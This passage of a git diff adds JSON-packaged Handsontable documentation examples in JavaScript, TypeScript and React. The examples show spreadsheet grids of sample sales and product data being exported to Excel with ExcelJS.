    \n
    \n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\nimport ExcelJS from 'exceljs';\n\nregisterAllModules();\n\nconst container = document.querySelector('#example1');\nconst hot = new Handsontable(container, {\n data: [\n ['Alice Martin', 'North', 142000, true, 'Exceeded Q1 target by 18%.'],\n ['Bob Chen', 'East', 98500, true, 'Strong pipeline for Q2.'],\n ['Carol Davies', 'South', 76200, false, 'Needs coaching on closing.'],\n ['David Kim', 'West', 115300, true, 'Cross-sell opportunity.'],\n ['Eva Rossi', 'North', 54800, false, 'Sick leave impacted March.'],\n ['TOTALS', '', null, '', ''],\n ],\n nestedHeaders: [\n [\n { label: 'Sales Representative', colspan: 2, headerClassName: 'htCenter' },\n { label: 'Results', colspan: 2, headerClassName: 'htCenter' },\n { label: 'Notes', colspan: 1, headerClassName: 'htLeft' },\n ],\n ['Name', 'Region', 'Revenue ($)', 'Hit Target?', 'Notes'],\n ],\n columns: [\n { type: 'text' },\n { type: 'dropdown', source: ['North', 'South', 'East', 'West'] },\n {\n type: 'numeric',\n locale: 'en-US',\n numericFormat: { style: 'currency', currency: 'USD', minimumFractionDigits: 2 },\n },\n { type: 'checkbox' },\n { type: 'text' },\n ],\n columnSummary: [\n {\n sourceColumn: 2,\n destinationRow: 5,\n destinationColumn: 2,\n type: 'sum',\n forceNumeric: true,\n },\n ],\n mergeCells: [{ row: 5, col: 0, rowspan: 1, colspan: 2 }],\n customBorders: [\n {\n row: 5,\n col: 2,\n top: { width: 2, color: '#333333' },\n },\n ],\n cell: [\n { row: 5, col: 0, readOnly: true },\n { row: 5, col: 2, readOnly: true },\n ],\n fixedColumnsStart: 1,\n rowHeaders: true,\n colHeaders: false,\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n exportFile: { engines: { xlsx: ExcelJS } },\n licenseKey: 'non-commercial-and-evaluation',\n});\n\n// Add a comment to Alice's notes cell.\nhot.setCellMeta(0, 4, 'comment', { value: 'Top sales rep — review for promotion.' });\nhot.render();\n\nconst exportPlugin = hot.getPlugin('exportFile');\nconst button = document.querySelector('#export-file');\n\nbutton.addEventListener('click', async () => {\n await exportPlugin.downloadFileAsync('xlsx', {\n filename: 'Q1-Sales-Report',\n colHeaders: true,\n rowHeaders: true,\n exportFormulas: true,\n });\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/accessories-and-menus/export-to-excel/javascript/example1.js","breadcrumb":["Accessories And Menus","Export to Excel"],"guide":"guides/accessories-and-menus/export-to-excel/export-to-excel.md","guideTitle":"Export to Excel","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/export-to-excel","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__export-to-excel__javascript__example1.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__export-to-excel__javascript__example1.ts.json new file mode 100644 index 00000000..53525664 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__export-to-excel__javascript__example1.ts.json @@ -0,0 +1 @@ +{"framework":"typescript","displayName":"Accessories And Menus ▸ Export to Excel · Standard example · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\",\n \"exceljs\": \"4.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n
    \n \n
    \n
    \n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\nimport ExcelJS from 'exceljs';\n\nregisterAllModules();\n\nconst container = document.querySelector('#example1')!;\nconst hot = new Handsontable(container, {\n data: [\n ['Alice Martin', 'North', 142000, true, 'Exceeded Q1 target by 18%.'],\n ['Bob Chen', 'East', 98500, true, 'Strong pipeline for Q2.'],\n ['Carol Davies', 'South', 76200, false, 'Needs coaching on closing.'],\n ['David Kim', 'West', 115300, true, 'Cross-sell opportunity.'],\n ['Eva Rossi', 'North', 54800, false, 'Sick leave impacted March.'],\n ['TOTALS', '', null, '', ''],\n ],\n nestedHeaders: [\n [\n { label: 'Sales Representative', colspan: 2, headerClassName: 'htCenter' },\n { label: 'Results', colspan: 2, headerClassName: 'htCenter' },\n { label: 'Notes', colspan: 1, headerClassName: 'htLeft' },\n ],\n ['Name', 'Region', 'Revenue ($)', 'Hit Target?', 'Notes'],\n ],\n columns: [\n { type: 'text' },\n { type: 'dropdown', source: ['North', 'South', 'East', 'West'] },\n {\n type: 'numeric',\n locale: 'en-US',\n numericFormat: { style: 'currency', currency: 'USD', minimumFractionDigits: 2 },\n },\n { type: 'checkbox' },\n { type: 'text' },\n ],\n columnSummary: [\n {\n sourceColumn: 2,\n destinationRow: 5,\n destinationColumn: 2,\n type: 'sum',\n forceNumeric: true,\n },\n ],\n mergeCells: [\n { row: 5, col: 0, rowspan: 1, colspan: 2 },\n ],\n customBorders: [\n {\n row: 5, col: 2,\n top: { width: 2, color: '#333333' },\n },\n ],\n cell: [\n { row: 5, col: 0, readOnly: true },\n { row: 5, col: 2, readOnly: true },\n ],\n fixedColumnsStart: 1,\n rowHeaders: true,\n colHeaders: false,\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n exportFile: { engines: { xlsx: ExcelJS } },\n licenseKey: 'non-commercial-and-evaluation',\n});\n\n// Add a comment to Alice's notes cell.\nhot.setCellMeta(0, 4, 'comment', { value: 'Top sales rep — review for promotion.' });\nhot.render();\n\nconst exportPlugin = hot.getPlugin('exportFile');\nconst button = document.querySelector('#export-file')!;\n\nbutton.addEventListener('click', async () => {\n await exportPlugin.downloadFileAsync('xlsx', {\n filename: 'Q1-Sales-Report',\n colHeaders: true,\n rowHeaders: true,\n exportFormulas: true,\n });\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/accessories-and-menus/export-to-excel/javascript/example1.ts","breadcrumb":["Accessories And Menus","Export to Excel"],"guide":"guides/accessories-and-menus/export-to-excel/export-to-excel.md","guideTitle":"Export to Excel","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/export-to-excel","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__export-to-excel__javascript__example2.js.json b/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__export-to-excel__javascript__example2.js.json new file mode 100644 index 00000000..8155129d --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__export-to-excel__javascript__example2.js.json @@ -0,0 +1 @@ +{"framework":"javascript","displayName":"Accessories And Menus ▸ Export to Excel · Multi-sheet export · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\",\n \"exceljs\": \"4.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n
    \n \n
    \n
    \n

    Q1 Sales

    \n
    \n

    Q2 Sales

    \n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\nimport ExcelJS from 'exceljs';\n\nregisterAllModules();\n\nconst q1Data = [\n ['Alice Martin', 'North', 142000, true],\n ['Bob Chen', 'East', 98500, true],\n ['Carol Davies', 'South', 76200, false],\n ['David Kim', 'West', 115300, true],\n ['Eva Rossi', 'North', 54800, false],\n];\n\nconst q2Data = [\n ['Alice Martin', 'North', 158000, true],\n ['Bob Chen', 'East', 112400, true],\n ['Carol Davies', 'South', 89100, true],\n ['David Kim', 'West', 97600, false],\n ['Eva Rossi', 'North', 63200, true],\n];\n\nconst sharedConfig = {\n columns: [\n { type: 'text' },\n { type: 'dropdown', source: ['North', 'South', 'East', 'West'] },\n {\n type: 'numeric',\n locale: 'en-US',\n numericFormat: { style: 'currency', currency: 'USD', minimumFractionDigits: 2 },\n },\n { type: 'checkbox' },\n ],\n colHeaders: ['Name', 'Region', 'Revenue ($)', 'Hit Target?'],\n rowHeaders: true,\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n exportFile: { engines: { xlsx: ExcelJS } },\n licenseKey: 'non-commercial-and-evaluation',\n};\n\nconst hotQ1 = new Handsontable(document.querySelector('#example2-q1'), {\n ...sharedConfig,\n data: q1Data,\n});\n\nconst hotQ2 = new Handsontable(document.querySelector('#example2-q2'), {\n ...sharedConfig,\n data: q2Data,\n});\n\ndocument.querySelector('#export-sheets').addEventListener('click', async () => {\n const exportPlugin = hotQ1.getPlugin('exportFile');\n\n await exportPlugin.downloadFileAsync('xlsx', {\n filename: 'Annual-Sales-Report',\n sheets: [\n { instance: hotQ1, name: 'Q1 Sales', colHeaders: true, rowHeaders: true },\n { instance: hotQ2, name: 'Q2 Sales', colHeaders: true, rowHeaders: true },\n ],\n });\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/accessories-and-menus/export-to-excel/javascript/example2.js","breadcrumb":["Accessories And Menus","Export to Excel"],"guide":"guides/accessories-and-menus/export-to-excel/export-to-excel.md","guideTitle":"Export to Excel","exampleId":"example2","exampleTitle":"Multi-sheet export","docPermalink":"/export-to-excel","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__export-to-excel__javascript__example2.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__export-to-excel__javascript__example2.ts.json new file mode 100644 index 00000000..c6ab8d3e --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__export-to-excel__javascript__example2.ts.json @@ -0,0 +1 @@ +{"framework":"typescript","displayName":"Accessories And Menus ▸ Export to Excel · Multi-sheet export · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\",\n \"exceljs\": \"4.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n
    \n \n
    \n
    \n

    Q1 Sales

    \n
    \n

    Q2 Sales

    \n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\nimport ExcelJS from 'exceljs';\n\nregisterAllModules();\n\nconst q1Data = [\n ['Alice Martin', 'North', 142000, true ],\n ['Bob Chen', 'East', 98500, true ],\n ['Carol Davies', 'South', 76200, false],\n ['David Kim', 'West', 115300, true ],\n ['Eva Rossi', 'North', 54800, false],\n];\n\nconst q2Data = [\n ['Alice Martin', 'North', 158000, true ],\n ['Bob Chen', 'East', 112400, true ],\n ['Carol Davies', 'South', 89100, true ],\n ['David Kim', 'West', 97600, false],\n ['Eva Rossi', 'North', 63200, true ],\n];\n\nconst sharedConfig: Handsontable.GridSettings = {\n columns: [\n { type: 'text' },\n { type: 'dropdown', source: ['North', 'South', 'East', 'West'] },\n {\n type: 'numeric',\n locale: 'en-US',\n numericFormat: { style: 'currency', currency: 'USD', minimumFractionDigits: 2 },\n },\n { type: 'checkbox' },\n ],\n colHeaders: ['Name', 'Region', 'Revenue ($)', 'Hit Target?'],\n rowHeaders: true,\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n exportFile: { engines: { xlsx: ExcelJS } },\n licenseKey: 'non-commercial-and-evaluation',\n};\n\nconst hotQ1 = new Handsontable(document.querySelector('#example2-q1')!, {\n ...sharedConfig,\n data: q1Data,\n});\n\nconst hotQ2 = new Handsontable(document.querySelector('#example2-q2')!, {\n ...sharedConfig,\n data: q2Data,\n});\n\ndocument.querySelector('#export-sheets')!.addEventListener('click', async () => {\n const exportPlugin = hotQ1.getPlugin('exportFile');\n\n await exportPlugin.downloadFileAsync('xlsx', {\n filename: 'Annual-Sales-Report',\n sheets: [\n { instance: hotQ1, name: 'Q1 Sales', colHeaders: true, rowHeaders: true },\n { instance: hotQ2, name: 'Q2 Sales', colHeaders: true, rowHeaders: true },\n ],\n });\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/accessories-and-menus/export-to-excel/javascript/example2.ts","breadcrumb":["Accessories And Menus","Export to Excel"],"guide":"guides/accessories-and-menus/export-to-excel/export-to-excel.md","guideTitle":"Export to Excel","exampleId":"example2","exampleTitle":"Multi-sheet export","docPermalink":"/export-to-excel","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__export-to-excel__javascript__example3.js.json b/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__export-to-excel__javascript__example3.js.json new file mode 100644 index 00000000..c17d833d --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__export-to-excel__javascript__example3.js.json @@ -0,0 +1 @@ +{"framework":"javascript","displayName":"Accessories And Menus ▸ Export to Excel · Context menu · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\",\n \"exceljs\": \"4.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n

    Right-click any cell to open the context menu.

    \n
    \n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\nimport ExcelJS from 'exceljs';\n\nregisterAllModules();\nnew Handsontable(document.querySelector('#example3'), {\n data: [\n ['Laptop Pro 15\"', 'Electronics', 1299.99, 38, true ],\n ['Wireless Mouse', 'Accessories', 29.99, 214, true ],\n ['USB-C Hub 7-in-1','Accessories', 49.99, 87, true ],\n ['Monitor 27\" 4K', 'Electronics', 449.99, 12, false],\n ['Mech Keyboard', 'Accessories', 119.99, 65, true ],\n ],\n columns: [\n { type: 'text' },\n { type: 'dropdown', source: ['Electronics', 'Accessories', 'Software'] },\n {\n type: 'numeric',\n locale: 'en-US',\n numericFormat: { style: 'currency', currency: 'USD', minimumFractionDigits: 2 },\n },\n { type: 'numeric' },\n { type: 'checkbox' },\n ],\n colHeaders: ['Product', 'Category', 'Unit Price', 'Stock', 'Active?'],\n rowHeaders: true,\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n contextMenu: true,\n exportFile: { engines: { xlsx: ExcelJS } },\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/accessories-and-menus/export-to-excel/javascript/example3.js","breadcrumb":["Accessories And Menus","Export to Excel"],"guide":"guides/accessories-and-menus/export-to-excel/export-to-excel.md","guideTitle":"Export to Excel","exampleId":"example3","exampleTitle":"Context menu","docPermalink":"/export-to-excel","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__export-to-excel__javascript__example3.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__export-to-excel__javascript__example3.ts.json new file mode 100644 index 00000000..b437963c --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__export-to-excel__javascript__example3.ts.json @@ -0,0 +1 @@ +{"framework":"typescript","displayName":"Accessories And Menus ▸ Export to Excel · Context menu · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\",\n \"exceljs\": \"4.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n

    Right-click any cell to open the context menu.

    \n
    \n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\nimport ExcelJS from 'exceljs';\n\nregisterAllModules();\n\nnew Handsontable(document.querySelector('#example3')!, {\n data: [\n ['Laptop Pro 15\"', 'Electronics', 1299.99, 38, true ],\n ['Wireless Mouse', 'Accessories', 29.99, 214, true ],\n ['USB-C Hub 7-in-1','Accessories', 49.99, 87, true ],\n ['Monitor 27\" 4K', 'Electronics', 449.99, 12, false],\n ['Mech Keyboard', 'Accessories', 119.99, 65, true ],\n ],\n columns: [\n { type: 'text' },\n { type: 'dropdown', source: ['Electronics', 'Accessories', 'Software'] },\n {\n type: 'numeric',\n locale: 'en-US',\n numericFormat: { style: 'currency', currency: 'USD', minimumFractionDigits: 2 },\n },\n { type: 'numeric' },\n { type: 'checkbox' },\n ],\n colHeaders: ['Product', 'Category', 'Unit Price', 'Stock', 'Active?'],\n rowHeaders: true,\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n contextMenu: true,\n exportFile: { engines: { xlsx: ExcelJS } },\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/accessories-and-menus/export-to-excel/javascript/example3.ts","breadcrumb":["Accessories And Menus","Export to Excel"],"guide":"guides/accessories-and-menus/export-to-excel/export-to-excel.md","guideTitle":"Export to Excel","exampleId":"example3","exampleTitle":"Context menu","docPermalink":"/export-to-excel","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__export-to-excel__react__example1.tsx.json b/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__export-to-excel__react__example1.tsx.json new file mode 100644 index 00000000..9e2c1219 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__export-to-excel__react__example1.tsx.json @@ -0,0 +1 @@ +{"framework":"react","displayName":"Accessories And Menus ▸ Export to Excel · Standard example · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/react-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\",\n \"exceljs\": \"4.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example1\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { useRef } from 'react';\nimport { HotTable, HotTableRef } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\nimport ExcelJS from 'exceljs';\n\nregisterAllModules();\n\nconst hotData = [\n ['Alice Martin', 'North', 142000, true, 'Exceeded Q1 target by 18%.'],\n ['Bob Chen', 'East', 98500, true, 'Strong pipeline for Q2.'],\n ['Carol Davies', 'South', 76200, false, 'Needs coaching on closing.'],\n ['David Kim', 'West', 115300, true, 'Cross-sell opportunity.'],\n ['Eva Rossi', 'North', 54800, false, 'Sick leave impacted March.'],\n ['TOTALS', '', null, '', ''],\n];\n\nconst ExampleComponent = () => {\n const hotRef = useRef(null);\n\n const handleAfterInit = () => {\n const hot = hotRef.current?.hotInstance;\n\n hot?.setCellMeta(0, 4, 'comment', { value: 'Top sales rep — review for promotion.' });\n hot?.render();\n };\n\n const exportFile = async () => {\n const hot = hotRef.current?.hotInstance;\n const exportPlugin = hot?.getPlugin('exportFile');\n\n await exportPlugin?.downloadFileAsync('xlsx', {\n filename: 'Q1-Sales-Report',\n colHeaders: true,\n rowHeaders: true,\n exportFormulas: true,\n });\n };\n\n return (\n <>\n
    \n
    \n \n
    \n
    \n \n \n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/accessories-and-menus/export-to-excel/react/example1.tsx","breadcrumb":["Accessories And Menus","Export to Excel"],"guide":"guides/accessories-and-menus/export-to-excel/export-to-excel.md","guideTitle":"Export to Excel","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/export-to-excel","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__export-to-excel__react__example2.tsx.json b/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__export-to-excel__react__example2.tsx.json new file mode 100644 index 00000000..4b8d455b --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__export-to-excel__react__example2.tsx.json @@ -0,0 +1 @@ +{"framework":"react","displayName":"Accessories And Menus ▸ Export to Excel · Multi-sheet export · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/react-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\",\n \"exceljs\": \"4.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example2\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { useRef } from 'react';\nimport { HotTable, HotTableRef } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\nimport ExcelJS from 'exceljs';\n\nregisterAllModules();\n\nconst q1Data = [\n ['Alice Martin', 'North', 142000, true ],\n ['Bob Chen', 'East', 98500, true ],\n ['Carol Davies', 'South', 76200, false],\n ['David Kim', 'West', 115300, true ],\n ['Eva Rossi', 'North', 54800, false],\n];\n\nconst q2Data = [\n ['Alice Martin', 'North', 158000, true ],\n ['Bob Chen', 'East', 112400, true ],\n ['Carol Davies', 'South', 89100, true ],\n ['David Kim', 'West', 97600, false],\n ['Eva Rossi', 'North', 63200, true ],\n];\n\nconst columns = [\n { type: 'text' as const },\n { type: 'dropdown' as const, source: ['North', 'South', 'East', 'West'] },\n {\n type: 'numeric' as const,\n locale: 'en-US',\n numericFormat: { style: 'currency', currency: 'USD', minimumFractionDigits: 2 },\n },\n { type: 'checkbox' as const },\n];\n\nconst ExampleComponent = () => {\n const hotQ1Ref = useRef(null);\n const hotQ2Ref = useRef(null);\n\n const exportSheets = async () => {\n const hotQ1 = hotQ1Ref.current?.hotInstance;\n const exportPlugin = hotQ1?.getPlugin('exportFile');\n\n await exportPlugin?.downloadFileAsync('xlsx', {\n filename: 'Annual-Sales-Report',\n sheets: [\n { instance: hotQ1!, name: 'Q1 Sales', colHeaders: true, rowHeaders: true },\n { instance: hotQ2Ref.current?.hotInstance!, name: 'Q2 Sales', colHeaders: true, rowHeaders: true },\n ],\n });\n };\n\n const sharedProps = {\n columns,\n colHeaders: ['Name', 'Region', 'Revenue ($)', 'Hit Target?'],\n rowHeaders: true,\n height: 'auto' as const,\n autoWrapRow: true,\n autoWrapCol: true,\n exportFile: { engines: { xlsx: ExcelJS } },\n licenseKey: 'non-commercial-and-evaluation' as const,\n };\n\n return (\n <>\n
    \n
    \n \n
    \n
    \n

    Q1 Sales

    \n \n

    Q2 Sales

    \n \n \n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/accessories-and-menus/export-to-excel/react/example2.tsx","breadcrumb":["Accessories And Menus","Export to Excel"],"guide":"guides/accessories-and-menus/export-to-excel/export-to-excel.md","guideTitle":"Export to Excel","exampleId":"example2","exampleTitle":"Multi-sheet export","docPermalink":"/export-to-excel","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__export-to-excel__react__example3.tsx.json b/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__export-to-excel__react__example3.tsx.json new file mode 100644 index 00000000..a96c7bdc --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__export-to-excel__react__example3.tsx.json @@ -0,0 +1 @@ +{"framework":"react","displayName":"Accessories And Menus ▸ Export to Excel · Context menu · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/react-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\",\n \"exceljs\": \"4.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
